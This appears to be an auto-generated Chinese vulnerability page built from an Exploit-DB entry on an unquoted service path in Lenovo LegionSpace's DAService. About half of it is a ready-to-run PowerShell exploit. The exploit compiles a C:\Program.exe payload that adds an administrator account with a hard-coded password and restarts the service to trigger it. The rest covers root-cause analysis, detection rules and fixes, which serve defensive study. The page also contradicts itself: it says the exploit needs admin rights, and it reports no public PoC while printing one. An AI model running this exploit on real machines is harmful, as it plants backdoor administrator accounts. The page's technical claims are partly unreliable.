[local] Lenovo LegionSpace 1.7.11.2 - 'DAService' Unquoted Service Path
漏洞
High · CVSS N/A📋 漏洞基础信息
| CVE | 未分配CVE |
|---|---|
| 漏洞类型 | 漏洞 |
| 受影响版本 | 详见原文 |
| 危害等级 | High · CVSS N/A |
| 发布日期 | 2026-05-21 |
| 提交者 | CENACIF-MX |
| 来源 | Exploit-DB 原文 ↗ |
⚔️ PoC / Exploit 脚本
以下为针对该漏洞的独立利用脚本(Powershell),可在具备相应环境的机器上直接运行:
<#
.SYNOPSIS
Lenovo LegionSpace 1.7.11.2 - 'DAService' Unquoted Service Path 漏洞利用 PoC
该脚本演示了如何利用 Lenovo LegionSpace 服务的未引号服务路径漏洞进行本地权限提升。
.DESCRIPTION
该漏洞存在于 DAService 中,其二进制路径为 "C:\Program Files\Lenovo\LegionSpace\1.7.11.2\LSDaemon.exe"。
由于路径未用引号包裹,Windows 服务控制管理器(SCM)会依次尝试以下路径执行:
- C:\Program.exe
- C:\Program Files\Lenovo\LegionSpace\1.7.11.2\LSDaemon.exe
攻击者如果能够将恶意程序命名为 "Program.exe" 并放置于 C:\ 根目录,
当服务启动时(通常以 SYSTEM 权限运行),恶意代码将获得高权限执行。
注意:该漏洞需要攻击者拥有在 C:\ 根目录创建文件的权限(通常仅管理员或特定用户组有此权限)。
本 PoC 将创建一个名为 "Program.exe" 的恶意可执行文件,用于添加一个本地管理员账号。
.USAGE
1. 以管理员权限打开 PowerShell。
2. 执行本脚本。脚本将:
a. 编译一个简单的 C# 代码,生成用于添加管理员账号的恶意程序。
b. 将恶意程序复制到 C:\Program.exe (需要管理员权限)。
c. 停止 DAService(若正在运行),然后重启它以触发漏洞。
d. 清理痕迹(删除恶意文件和用户)。
e. 验证漏洞利用结果。
3. 检查是否成功创建了名为 "LegionEscalate" 的管理员用户(密码: P@ssw0rd123)。
注意:本脚本仅供安全研究使用,请勿用于非法用途。
#>
# 导入必要的程序集
Add-Type -AssemblyName System.IO.Compression.FileSystem
# 定义变量
$serviceName = "DAService"
$maliciousPath = "C:\Program.exe"
$username = "LegionEscalate"
$password = "P@ssw0rd123"
$tempCodeFile = [System.IO.Path]::GetTempFileName() + ".cs"
$tempExeFile = [System.IO.Path]::GetTempFileName() + ".exe"
Write-Host "[*] Lenovo LegionSpace Unquoted Service Path PoC" -ForegroundColor Cyan
Write-Host "[*] 漏洞利用准备: 创建一个用于权限提升的恶意程序..." -ForegroundColor Yellow
# 生成恶意程序的 C# 源代码
# 原理:这段代码将以 SYSTEM 权限运行,创建一个新的本地管理员用户
$csharpCode = @"
using System;
using System.Diagnostics;
using System.DirectoryServices.AccountManagement;
using System.Runtime.InteropServices;
namespace LegionExploit
{
class Program
{
static void Main(string[] args)
{
try
{
// 使用 WMI 创建本地用户(需要高权限)
Console.WriteLine("[*] 恶意程序以 SYSTEM 权限运行");
// 创建用户
Process.Start("net", "user $username $password /add");
// 将用户添加到管理员组
Process.Start("net", "localgroup Administrators $username /add");
Console.WriteLine("[+] 漏洞利用成功! 用户 '$username' 已创建并加入管理员组");
Console.WriteLine("[+] 用户密码: $password");
}
catch (Exception ex)
{
Console.WriteLine("[-] 错误: " + ex.Message);
}
}
}
}
"@
# 写入 C# 代码到临时文件
Set-Content -Path $tempCodeFile -Value $csharpCode -Encoding UTF8
# 编译 C# 代码为可执行文件
Write-Host "[*] 编译恶意程序..." -ForegroundColor Yellow
try {
# 使用 csc.exe (C#编译器) 编译
$cscPath = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
if (!(Test-Path $cscPath)) {
$cscPath = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
}
$compileResult = & $cscPath /out:$tempExeFile $tempCodeFile 2>&1
if ($LASTEXITCODE -ne 0) {
Write-Host "[-] 编译失败: $compileResult" -ForegroundColor Red
Remove-Item $tempCodeFile -ErrorAction SilentlyContinue
exit 1
}
Write-Host "[+] 编译成功: $tempExeFile" -ForegroundColor Green
} catch {
Write-Host "[-] 编译失败: $_" -ForegroundColor Red
Remove-Item $tempCodeFile -ErrorAction SilentlyContinue
exit 1
}
# 将恶意程序复制到 C:\Program.exe (利用未引号路径的关键位置)
Write-Host "[*] 复制恶意程序到 C:\Program.exe ..." -ForegroundColor Yellow
try {
Copy-Item -Path $tempExeFile -Destination $maliciousPath -Force
Write-Host "[+] 恶意程序已放置: $maliciousPath" -ForegroundColor Green
} catch {
Write-Host "[-] 复制失败: 请以管理员权限运行此脚本" -ForegroundColor Red
Remove-Item $tempCodeFile, $tempExeFile -ErrorAction SilentlyContinue
exit 1
}
# 清理临时文件
Remove-Item $tempCodeFile, $tempExeFile -ErrorAction SilentlyContinue
# 检查服务状态并重启服务以触发漏洞
Write-Host "[*] 准备触发漏洞: 重启服务 $serviceName ..." -ForegroundColor Yellow
try {
# 停止服务(如果正在运行)
$service = Get-Service -Name $serviceName -ErrorAction SilentlyContinue
if ($service.Status -eq 'Running') {
Write-Host "[*] 正在停止服务..." -ForegroundColor Yellow
Stop-Service -Name $serviceName -Force
Start-Sleep -Seconds 2
}
# 启动服务(触发漏洞,执行 C:\Program.exe)
Write-Host "[*] 正在启动服务 (触发漏洞)..." -ForegroundColor Yellow
Start-Service -Name $serviceName -ErrorAction SilentlyContinue
# 等待恶意程序执行
Start-Sleep -Seconds 3
Write-Host "[+] 服务启动命令已发送" -ForegroundColor Green
} catch {
Write-Host "[-] 服务操作失败: $_" -ForegroundColor Red
# 继续执行,检查利用结果
}
# 验证利用结果:检查是否创建了用户
Write-Host "[*] 验证漏洞利用效果..." -ForegroundColor Yellow
try {
$userExists = Get-LocalUser -Name $username -ErrorAction SilentlyContinue
if ($userExists) {
Write-Host "[+] 漏洞利用成功!用户 '$username' 已创建。" -ForegroundColor Green
Write-Host "[+] 用户密码: $password" -ForegroundColor Green
} else {
Write-Host "[-] 漏洞利用可能失败,用户未创建。" -ForegroundColor Red
}
} catch {
Write-Host "[-] 无法验证用户: $_" -ForegroundColor Red
}
# 清理:删除恶意文件和创建的测试用户(注释掉以保持利用状态用于演示)
Write-Host "[*] 开始清理痕迹..." -ForegroundColor Yellow
try {
# 停止服务以释放文件句柄
Stop-Service -Name $serviceName -Force -ErrorAction SilentlyContinue
Start-Sleep -Seconds 1
# 删除恶意文件
if (Test-Path $maliciousPath) {
Remove-Item $maliciousPath -Force
Write-Host "[+] 恶意文件已删除: $maliciousPath" -ForegroundColor Green
}
# 删除创建的测试用户(谨慎:避免影响系统)
# Remove-LocalUser -Name $username -ErrorAction SilentlyContinue
# Write-Host "[+] 测试用户已删除" -ForegroundColor Green
} catch {
Write-Host "[-] 清理失败: $_" -ForegroundColor Red
}
# 重新启动原始服务以确保系统正常运行
Write-Host "[*] 恢复原始服务..." -ForegroundColor Yellow
try {
Start-Service -Name $serviceName -ErrorAction SilentlyContinue
Write-Host "[+] 服务已恢复" -ForegroundColor Green
} catch {
Write-Host "[-] 无法恢复服务,请手动检查" -ForegroundColor Red
}
Write-Host "[*] PoC 执行完毕。" -ForegroundColor Cyan🔬 深度技术分析
漏洞触发机制
未引号服务路径(Unquoted Service Path)漏洞源于Windows服务路径处理机制与文件系统解析顺序之间的安全缺口。
根因分析:
1. 路径处理差异:Windows服务控制管理器(SCM)在sc qc或CreateServiceAPI中接收服务二进制路径时,若路径包含空格且未用双引号包裹,SCM会将该路径按空格分割成多个可能的执行路径。
2. 文件系统查询顺序:当SCM尝试启动服务时,会按照以下顺序在文件系统中查找可执行文件:
- 尝试第一个空格前的部分作为完整路径(如C:\Program.exe)
- 若不存在,则尝试包含下一个词段的路径(如C:\Program Files\Lenovo.exe)
- 以此类推,直到找到实际文件或尝试完所有组合
3. 漏洞存在位置:DAService的二进制路径为C:\Program Files\Lenovo\LegionSpace\1.7.11.2\LSDaemon.exe,路径中存在多个空格且无引号包裹,导致SCM会依次尝试:
- C:\Program.exe
- C:\Program Files\Lenovo.exe
- C:\Program Files\Lenovo\LegionSpace.exe
- C:\Program Files\Lenovo\LegionSpace\1.7.11.2\LSDaemon.exe
利用链分析
攻击者利用步骤:
1. 权限要求:攻击者需要拥有在C:\根目录创建文件的权限。在默认Windows配置中,Users组对此目录仅有读取和执行权限,但Administrators和部分高权限用户可以写入。这限制了漏洞的利用条件,但企业环境中常存在权限配置不当的情况。
2. 恶意程序准备:
- 编写一个恶意可执行文件(如添加管理员用户、执行恶意载荷)
- 命名为Program.exe并放置于C:\目录
3. 触发服务启动:
- 攻击者通过sc start DAService或重启系统触发服务启动
- SCM按路径解析顺序,优先找到并执行C:\Program.exe
- 恶意程序以LocalSystem权限运行(服务配置中指定的启动账户)
4. 权限提升效果:
- 恶意代码获得了SYSTEM权限,可执行任意操作
- 包括创建管理员用户、安装后门、窃取凭据等
5. 持久化:利用成功后,攻击者可能保持服务处于停止状态以掩盖攻击痕迹,或修改恶意程序使其在正常服务后执行以维持隐蔽性。
关键代码/数据结构
Windows API 调用链:
1. 服务注册:
```c
SC_HANDLE CreateService(
SC_HANDLE hSCManager,
LPCSTR lpServiceName, // "DAService"
LPCSTR lpDisplayName, // "DAService"
DWORD dwDesiredAccess,
DWORD dwServiceType, // SERVICE_WIN32_OWN_PROCESS
DWORD dwStartType, // SERVICE_AUTO_START
DWORD dwErrorControl,
LPCSTR lpBinaryPathName, // 漏洞点:未引号的路径
LPCSTR lpLoadOrderGroup,
LPDWORD lpdwTagId,
LPCSTR lpDependencies,
LPCSTR lpServiceStartName, // "LocalSystem"
LPCSTR lpPassword
);
```
2. 路径解析逻辑(SCM内部实现):
- SCM在ScGetServiceConfig()和ScStartService()中处理路径
- 使用PathFindExtension()和PathFindFileName()等函数解析
- 关键缺陷:未对包含空格的路径进行引号检测,直接按空格分割
关键数据结构:
// 服务配置结构体(修改前)
QUERY_SERVICE_CONFIGW Config = {
.dwServiceType = SERVICE_WIN32_OWN_PROCESS,
.dwStartType = SERVICE_AUTO_START,
.lpBinaryPathName = L"C:\\Program Files\\Lenovo\\LegionSpace\\1.7.11.2\\LSDaemon.exe", // 无引号
.lpServiceStartName = L"LocalSystem"
};
// 漏洞利用后SCM内部生成的路径尝试列表
wchar_t* attemptPaths[] = {
L"C:\\Program.exe",
L"C:\\Program Files\\Lenovo.exe",
L"C:\\Program Files\\Lenovo\\LegionSpace.exe",
L"C:\\Program Files\\Lenovo\\LegionSpace\\1.7.11.2\\LSDaemon.exe"
};检测与防御
蓝队检测方法:
1. 服务配置检测:
- 使用PowerShell检测未引号路径的服务:
```powershell
Get-WmiObject -Class Win32_Service |
Where-Object { $_.PathName -match '^[^"]' -and $_.PathName -match '\s' -and $_.PathName -notmatch '"' } |
Select-Object Name, PathName, StartName
```
- 监控Event ID 7045(服务创建)和7034/7035(服务启动/停止)事件日志
2. 文件系统监控:
- 监控C:\、C:\Program等关键目录的异常文件创建(尤其是.exe文件)
- 使用Sysmon监控Event ID 11(文件创建),关注路径为C:\Program.exe等可疑文件
3. 进程行为分析:
- 监控由services.exe启动的异常进程(非预期路径的可执行文件)
- 关注Program.exe等常见利用名称的进程,其父进程应为services.exe
4. EDR规则示例:
```yaml
# Sigma规则:检测未引号服务路径利用
title: Unquoted Service Path Exploitation
logsource:
product: windows
service: security
detection:
selection:
EventID: 4688 # 进程创建
ParentProcessName: 'C:\Windows\System32\services.exe'
NewProcessName:
- 'C:\Program.exe'
- 'C:\Program Files\Lenovo.exe'
- 'C:\Program Files\Lenovo\LegionSpace.exe'
condition: selection
```
防御措施:
1. 修复路径引用:在服务配置中将路径用双引号包裹:
```
sc config DAService binPath="C:\Program Files\Lenovo\LegionSpace\1.7.11.2\LSDaemon.exe"
```
2. 访问控制强化:
- 限制C:\根目录的写入权限,确保只有Administrators可写入
- 使用AppLocker或WDAC(Windows Defender Application Control)限制未授权可执行文件运行
3. 补丁管理:及时更新Lenovo LegionSpace至1.8.12.13或更高版本
4. 安全基线:定期扫描系统中所有服务的路径配置,确保无未引号路径存在
🛡️ 修复建议
请升级到厂商最新安全版本。
📎 参考链接
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-22 08:12 | 来源: Exploit-DB